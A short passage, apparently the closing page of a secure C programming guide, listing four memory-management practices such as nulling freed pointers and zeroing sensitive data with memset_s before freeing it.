1. After every free, re-assign each pointer pointing to the recently freed memory to NULL .
2. Always release allocated storage in error handlers.
3. Zero out sensitive data before freeing it using memset_s or a similar method that cannot
be optimised out by the compiler.
4. Do not make any assumption regarding the positioning of the returned addresses from
malloc.
Happy Coding!
54